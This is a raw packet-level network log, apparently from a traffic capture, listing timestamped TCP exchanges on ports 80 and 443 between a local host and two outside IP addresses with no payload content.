Nov 22, 2024 04:12:10.738701105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.739058018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.739109039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.739187002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.739245892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.740319014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.740385056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.740461111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.740511894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.741580963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.741637945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.741697073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.741750956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.742866039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.742984056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.742988110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.743040085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.744082928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.744134903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.744209051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.744266987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.745325089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.745389938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.745459080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.745517015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.746566057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.746628046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.746691942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.746757984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.747817039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.747884989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.747941971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.747992992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.749068022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.749135017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.749207973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.749265909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.750329971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.750382900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.750458002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.750509024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.751605988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.751667976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.751724005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.751781940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.752892017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.752960920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.752974987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.753027916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.754086971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.754163980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.754210949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.754296064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.755386114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.755454063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.755502939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.755548000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.756563902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.756613970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.756661892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.756717920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.757811069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.757853031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.757906914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.757951975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.759069920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.759126902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.759175062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.759222984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.760337114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.760390043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.760432959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.760479927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.761599064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.761651039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.761693001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.761735916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.762877941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.762932062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.762980938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.763029099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.764094114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.764157057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.764204979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.764247894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.765342951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.765402079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.765441895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.765487909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.766599894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.766644001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.766697884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.766741037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.767843962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.767915964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.767957926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.768004894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.769123077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.769177914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.769232035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.769285917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.770347118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.770401955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.770464897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.770509005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.771612883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.771672964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.771714926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.771780014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.772520065 CET	443	49756	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:10.772789955 CET	443	49756	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:10.772849083 CET	49756	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:10.772897005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.772938967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.772960901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.773015976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.774121046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.774168968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.774215937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.774260044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.775376081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.775422096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.775464058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.775507927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.776626110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.776669979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.776716948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.776762962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.777882099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.777939081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.777981043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.778027058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.779119968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.779181004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.779263973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.779330969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.780420065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.780478001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.780519009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.780564070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.781627893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.781697035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.781799078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.781843901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.782942057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.782995939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.783029079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.783091068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.784152985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.784208059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.784305096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.784348011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.785403967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.785454035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.785501003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.785546064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.786695957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.786744118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.786865950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.786911011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.787914991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.787960052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.788002014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.788048029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.789175034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.789222956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.789273024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.789311886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.790416002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.790482044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.790570974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.790620089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.791661024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.791718960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.791769981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.791815996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.792974949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.793034077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.793062925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.793108940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.794187069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.794255972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.794325113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.794370890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.795438051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.795490026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.795538902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.795584917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.796678066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.796735048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.796798944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.796855927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.797938108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.797988892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.798037052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.798082113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.799194098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.799246073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.799299955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.799360991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.800477982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.800525904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.800558090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.800602913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.801709890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.801757097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.801803112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.801848888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.803004026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.803056002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.803091049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.803142071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.804158926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.804215908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.857209921 CET	49756	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:10.857209921 CET	49756	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:10.857275009 CET	443	49756	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:10.857302904 CET	443	49756	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:10.859977007 CET	49765	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:10.860003948 CET	443	49765	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:10.860064983 CET	49765	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:10.860304117 CET	49765	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:10.860318899 CET	443	49765	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:10.930906057 CET	443	49761	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:10.931629896 CET	49761	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:10.931709051 CET	443	49761	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:10.935278893 CET	49761	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:10.935298920 CET	443	49761	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:10.939438105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.939640999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.939702034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.940023899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.940200090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.940248966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.941240072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.941286087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.941344976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.942451000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.942512035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.942543983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.943039894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.943674088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.943783998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.943831921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.944861889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.944983006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.945044994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.946082115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.946125984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.946188927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.947041035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.947293043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.947359085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.947405100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.947448969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.948510885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.948622942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.948669910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.949719906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.949872971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.949923038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.950927973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.950979948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.951009035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.951064110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.952147961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.952250004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.952320099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.953363895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.953428030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.953464985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.954579115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.954622984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.954674006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.955039978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.955780983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.955830097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.955873966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.957001925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.957046032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.957088947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.958215952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.958259106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.958301067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.958344936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.959415913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.959474087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.959513903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.959552050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.960665941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.960731983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.960778952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.961849928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.961961031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.962006092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.963056087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.963125944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.963165998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.964255095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.964302063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.964370966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.965040922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.965476036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.965593100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.965641975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.966684103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.966728926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.966756105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.966795921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.967905045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.968024969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.968074083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.969108105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.969229937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.969275951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.970326900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.970371008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.970423937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.970469952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.971544027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.971576929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.971627951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.972737074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.972881079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.972928047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.973968029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.974014044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.974018097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.974903107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.975188017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.975306988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.975354910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.976388931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.976515055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.976561069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.977615118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.977658987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.977718115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.978796959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.978852987 CET	49760	80	192.168.2.4	31.41.244.11
